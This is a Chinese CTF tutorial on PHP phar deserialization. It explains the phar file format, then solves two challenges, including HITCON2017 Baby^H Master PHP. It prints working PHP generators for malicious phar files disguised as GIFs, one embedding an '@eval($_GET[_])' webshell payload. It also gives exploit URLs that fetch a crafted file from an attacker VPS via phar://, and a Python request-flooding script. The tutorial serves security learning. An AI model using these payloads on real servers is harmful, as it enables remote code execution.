PHP反序列化入门之phar

栏目: PHP · 发布时间: 6年前

内容简介:以上内容摘自:这题比较简单,可以直接生成

简单来说 phar 就是 php 压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与 file:// php:// 等类似,也是一种流包装器。

phar 结构由 4 部分组成

  • stub phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
  • manifest 压缩文件的属性等信息,以 序列化 存储;
  • contents 压缩文件的内容;
  • signature 签名,放在文件末尾;

这里有两个关键点,一是文件标识,必须以 __HALT_COMPILER();?> 结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者 pdf 文件来绕过一些上传限制;二是反序列化, phar 存储的 meta-data 信息以序列化方式存储,当文件操作函数通过 phar:// 伪协议解析 phar 文件时就会将数据反序列化,而这样的文件操作函数有很多。

以上内容摘自: 由 PHPGGC 理解 PHP 反序列化漏洞 。接下来,我们还是通过两个CTF题目来学习phar反序列化的利用。

例题一

PHP反序列化入门之phar

这题比较简单,可以直接生成 phar 文件,然后利用网站的上传图片功能,结合 第11行file_exists 函数进行phar反序列化利用,生成代码如下:

<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class MyClass{
    var $output = '@eval($_GET[_]);';
}

$o = new MyClass();
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

PHP反序列化入门之phar

例题二

这题选用 HITCON2017 中的 Baby^H Master PHP 2017 一题进行学习,题目点 这里 下载。

PHP反序列化入门之phar

题目的意思很明确,要我们利用 Admin 类的 __destruct 方法来获得 flag 。但是 第20行$random 变量我们无法获得,这样也就无法获得 flag ,所以我们要通过匿名类的名字来调用 flag 生成函数。

我们可以看看 create_function 函数对应的内核源码。( php-src/Zend/zend_builtin_functions.c:1901

PHP反序列化入门之phar

可以看到匿名函数的名字类似于 \0lambda_%d ,其中 %d 为数字,取决于进程中匿名函数的个数,但是我们每访问一次题目,就会生成一个匿名函数,这样匿名函数的名字就不好控制。这里,我们便要引入 apache-prefork 模型(默认模型)介绍(关于该模型的介绍,可以参考: Apache的三种MPM模式比较:prefork,worker,event )。当用户请求过大时,超过 apache 默认设定的阀值时,就会启动新的线程来处理请求,此时在新的线程中,匿名函数的名字又会从1开始递增,这样我们就容易猜测匿名函数的名字了。

接下来我们就来找反序列化的利用点,我们很快看到 第35行 反序列化了一个可控的 $data 变量,但是上一行有一个 hash_equals 函数进行了数据校验,而 $SECRET 的值不可知,这就没法利用这一反序列化点。接着我们会看到 第40行 有一个上传 gif 文件功能,且 $data 变量可控。那么攻击思路就是,我们先通过将构造好的 phar 文件传到服务器上,再利用可控的 $_GET[“url”] 结合 phar 协议,进行反序列化。用于生成 phar 的代码如下:

<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class User { 
    public $avatar; 
    function __construct($path) { 
        $this->avatar = 'avatar.gif'; 
    } 
} 
class Admin extends User { }

$o = new Admin();
$filename = 'avatar.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

将生成的 avatar.phar 放在自己的 VPS 上并重命名成 avatar.gif ,然后将文件上传到题目服务器上:

http://题目IP/index.php?m=upload&url=http://VPS_IP/

接着,我们需要通过大量请求,使 apache 重新开启一个新的线程,然后访问如下 url 即可完成反序列化并获得 flag

http://题目IP/index.php?m=upload&url=phar:///var/www/data/xxxx/&lucky=%00lambda_1

关于 phar 更深的利用,可以参考这篇文章: Phar与Stream Wrapper造成PHP RCE的深入挖掘

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass

def run(i):
    while 1:
        HOST = '127.0.0.1'
        PORT = 8000
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET /avatar.gif HTTP/1.1\nHost: localhost\nConnection: Keep-Alive\n\n')
        # s.close()
        print 'ok'
        time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Pro CSS and HTML Design Patterns

Pro CSS and HTML Design Patterns

Michael Bowers / Apress / April 23, 2007 / $44.99

Design patterns have been used with great success in software programming. They improve productivity, creativity, and efficiency in web design and development, and they reduce code bloat and complexit......一起来看看 《Pro CSS and HTML Design Patterns》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具